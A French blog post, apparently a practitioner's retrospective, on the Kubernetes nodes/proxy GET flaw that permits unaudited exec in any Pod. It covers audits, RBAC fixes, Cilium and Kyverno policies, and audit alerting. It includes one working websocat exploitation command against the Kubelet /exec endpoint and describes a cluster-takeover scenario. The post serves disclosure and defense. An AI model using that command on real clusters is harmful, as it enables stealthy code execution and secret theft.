TL;DR
Ca date un peu mais j’avais quand même envie de faire un petit REX sur ce sujet.
En janvier un chercheur en cybersécurité a remonté une faille de Kubernetes qui a pas mal fait le buzz. Ca faisait un moment qu’on avait plus eu de faille sur Kube qui fasse autant parler, de mémoire de Denis (oui je parle de moi à la 3ème personne).
En vrai, c’est assez chaud : la permission RBAC nodes/proxy GET permet à n’importe quel ServiceAccount d’exécuter du code dans n’importe quel Pod du cluster, sans laisser la moindre trace dans les logs d’audit. C’est facheux, surtout quand vous avez des ServiceAccount qui se nomment rook-ceph-system et qui cumulent également un accès en lecture à tous les Secrets du cluster.
Cet article détaille le problème, la façon dont on peut vérifier si on est vulnérable, les correctifs à appliquer, et les mesures de prévention qui peuvent être mises en place si vous ne pouvez pas fix.
Le problème : WebSocket + Kubelet = exec sans audit
La vulnérabilité a été documentée par Graham Helton dans cet article. Le principe est le suivant.
L’API Kubernetes expose une sous-ressource nodes/proxy qui proxifie les requêtes HTTP vers le Kubelet de chaque node. Le Kubelet lui-même expose une API sur le port 10250, notamment l’endpoint /exec qui permet d’exécuter des commandes dans un container.
Le problème vient de la façon dont le Kubelet gère les autorisations pour les connexions WebSocket :
kubectl executilise une connexion WebSocket, dont le handshake est unGETHTTP- Le Kubelet mappe ce
GETinitial vers le verbe RBACget - Il vérifie
nodes/proxy GET, puis autorise l’opération - Aucune vérification secondaire n’est faite pour le verbe
CREATEnormalement requis pour/exec
Résultat : n’importe quel ServiceAccount avec nodes/proxy GET peut exécuter des commandes dans n’importe quel Pod du cluster, y compris les Pods système (etcd, kube-apiserver, etc.).
# Exploitation via websocat
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
Et c’est pas fini. Les commandes exécutées via cette méthode ne génèrent aucun log d’audit Kubernetes (enfin bon, peut être que vous les collectez pas 🙈). L’accès passe directement par le Kubelet, qui ne remonte pas d’événements à l’API server.
Le statut officiel de Kubernetes sur ce sujet : Won’t Fix. C’est un “comportement intentionnel” (notez les guillemets), corrigé par une feature gate (KEP-2862, voir plus bas).
Ca pique.
L’audit : des ServiceAccounts vulnérables sur nos clusters
En janvier 2026, suite à la publication de l’article de Graham Helton, beaucoup de gens ont du auditer en urgence leurs clusters. On peut soit auditer soit même l’ensemble de ses Roles / ClusterRoles, soit utiliser un script de détection fourni par le chercheur.
Pour l’exemple, voici trois composants relativement courants et qui peuvent être de bons candidats pour une belle élévation de privilèges :
| Composant | ClusterRole | ServiceAccounts |
|---|---|---|
| OpenTelemetry Collector | otel-otelcol-k8sobjects | opentelemetry-collector-daemonset-collector, opentelemetry-collector-deployment-collector |
| OpenTelemetry Operator | otel-operator-resources / opentelemetry-operator-manager | opentelemetry-operator |
| Rook-Ceph | rook-ceph-global, rook-ceph-mgr-cluster | rook-ceph-system, rook-ceph-mgr |
Note : il y en a beaucoup plus, Graham Helton a ajouté une section “Appendix: Affected Helm Charts” en fin d’article, qui référence AU MOINS 69 helm charts concernées selon lui.
Le cas critique : rook-ceph-system
Dans la chart officielle, le ServiceAccount rook-ceph-system cumulait deux permissions particulièrement dangereuses :
nodes/proxy GET- la RCEsecrets GET/LIST/WATCHsur tout le cluster
Les secrets accessibles peuvent notamment inclure des clés LUKS de chiffrement des volumes, les keyrings Ceph admin, et les mots de passe du dashboard… ce genre de permissions en fait une cible de choix pour un attaquant.
Le scénario d’attaque : une compromission du Pod rook-ceph-operator (via CVE, supply chain, ou image malveillante) permettrait de lire tous les secrets Ceph, puis d’exécuter du code dans n’importe quel Pod (y compris etcd) aboutissant à une compromission complète du cluster et des données chiffrées.
Pour vérifier manuellement si un ServiceAccount est vulnérable :
kubectl auth can-i get nodes --subresource=proxy \
--as=system:serviceaccount:<namespace>:<serviceaccount>
Exemples de correctifs à appliquer
Rook-Ceph : fix upstream
Pour Rook-Ceph, le fix est venu de l’upstream : la PR rook/rook#16979 a supprimé nodes/proxy des ClusterRoles. Ce fix est inclus dans Rook v1.19.1, il suffisait donc de mettre à jour les clusters concernés.
Après mise à jour, vérification sur tous les clusters :
kubectl get clusterroles rook-ceph-global -o yaml | grep -A3 nodes/proxy
# -> rien
OTel / Otel operator
Pour OpenTelemetry, la situation est potentiellement plus complexe. Si vous utilisez otel-operator et les Custom Resource OtelCollector, il est probable que vous deviez gérer vous même vos propres manifests RBAC.
Pour avoir eu à le faire, c’est assez pénible, en fonction de votre type de collecteur et des receivers que vous avez activés, il est nécessaire de croiser plusieurs documents sur les sites officiels d’otel et otel-operator.
L’upstream avait mergé une approche conditionnelle dans open-telemetry/opentelemetry-helm-charts#2083 basée sur la version Kubernetes :
# Approach upstream (opentelemetry-helm-charts#2083)
{{- if semverCompare ">=1.33-0" .Capabilities.KubeVersion.Version }}
- nodes/pods
{{- else }}
- nodes/proxy
{{- end }}
Là encore, si tous vos clusters sont à jours, vous avez simplement à remplacer nodes/proxy par nodes/pods directement (sans conditionnel).
otel-collector-crb.yaml :
# Avant
rules:
- apiGroups: [""]
resources:
- nodes
- nodes/proxy # ← RCE risk
- nodes/spec
- nodes/stats
verbs:
- get
# Après
rules:
- apiGroups: [""]
resources:
- nodes
# nodes/pods replaces nodes/proxy (RCE risk, see https://grahamhelton.com/blog/nodes-proxy-rce)
# Requires K8s >= 1.33 (KEP-2862 fine-grained kubelet authz)
- nodes/pods
- nodes/spec
- nodes/stats
verbs:
- get
otel-operator-rbac.yaml :
# Avant
- apiGroups: [""]
resources:
- nodes/proxy # ← RCE risk
verbs:
- get
# Après
# nodes/pods replaces nodes/proxy (RCE risk, see https://grahamhelton.com/blog/nodes-proxy-rce)
# Requires K8s >= 1.33 (KEP-2862 fine-grained kubelet authz)
- apiGroups: [""]
resources:
- nodes/pods
verbs:
- get
Les mesures préventives
KEP-2862 : Fine-Grained Kubelet API Authorization
On l’a déjà un peu teasé, la vraie solution long terme est la KEP-2862 (Fine-Grained Kubelet API Authorization). Elle introduit des sous-ressources granulaires (nodes/pods, nodes/metrics, nodes/stats, nodes/log, etc.) qui permettent de donner des accès précis sans passer par nodes/proxy.
| Version K8s | Statut KEP-2862 |
|---|---|
| 1.32 | Alpha |
| 1.33 | Beta, activé par défaut — nodes/proxy GET ne donne plus accès à /exec |
| 1.36 | GA (locked to enabled) |
Mais ça nécessite de passer sur TOUTES les charts utilisées et vérifier tous les manifests déployés maintenant et dans le futur.
CiliumNetworkPolicy : bloquer le port Kubelet
En attendant la mise à jour K8s, ou (et ?) comme défense en profondeur, on peut aussi bloquer l’accès au port 10250 depuis les pods concernés via NetworkPolicies (ou CiliumNetworkPolicy si vous avez Cilium comme CNI plugin).
Attention : cela ne s’applique qu’aux composants qui n’ont pas besoin d’accéder au Kubelet. OTel collector en a potentiellement besoin pour collecter les métriques du kubelet. Dans ce cas, pas le choix, on ne peux que corriger le RBAC.
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: deny-kubelet-api-access
namespace: <namespace>
spec:
endpointSelector:
matchLabels:
<app-label>: <value>
egressDeny:
- toEntities:
- host
- remote-node
toPorts:
- ports:
- port: "10250"
protocol: TCP
Kyverno : bloquer la création de nouveaux Roles avec nodes/proxy
Pour éviter toute régression (j’ai dit qu’il fallait se protéger dans le futur), on peut aussi ajouter une ClusterPolicy Kyverno qui refuse la création ou modification de ClusterRole/Role contenant nodes/proxy.
On a de la change, il existe déjà des exemples prêt à l’emploi sur le site officiel de Kyverno :
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-nodes-proxy
spec:
validationFailureAction: Audit # passer en Enforce après validation
background: true
rules:
- name: deny-nodes-proxy-in-clusterroles
match:
any:
- resources:
kinds:
- ClusterRole
- Role
exclude:
any:
- resources:
names:
- "system:kubelet-api-admin" # built-in K8s, non modifiable
validate:
message: >
nodes/proxy grants RCE capability via Kubelet WebSocket exec.
Use nodes/pods (requires K8s >= 1.33, KEP-2862) instead.
deny:
conditions:
any:
- key: "nodes/proxy"
operator: AnyIn
value: "{{ request.object.rules[].resources[] }}"
Le déploiement se fait en deux temps : d’abord en mode Audit pour vérifier qu’il n’y a plus de manifests vulnérables (qu’on préférera fix avant de bloquer), puis en Enforce pour bloquer effectivement.
Surveillance de l’audit log
Même si les commandes exécutées via le Kubelet ne laissent pas de trace, on peut surveiller les SubjectAccessReviews pour détecter les tentatives d’énumération de permissions nodes/proxy.
La configuration dans la policy d’audit Kubernetes :
# audit-policy.yaml
- level: Request
verbs: ["create"]
resources:
- group: "authorization.k8s.io"
resources: ["subjectaccessreviews"]
Puis une alerte Prometheus/Alertmanager sur les SAR qui concernent nodes/proxy :
# Détecter les SAR portant sur nodes/proxy
increase(
apiserver_audit_event_total{
verb="create",
resource="subjectaccessreviews"
}[5m]
) > 0
Références
- Kubernetes RCE via nodes/proxy GET — Graham Helton
- Script de détection
- KEP-2862 Fine-Grained Kubelet API Authorization
- Kubernetes RBAC Good Practices - nodes/proxy
- rook/rook#16979 - Fix upstream Rook-Ceph
- open-telemetry/opentelemetry-helm-charts#2083 - Fix upstream OTel
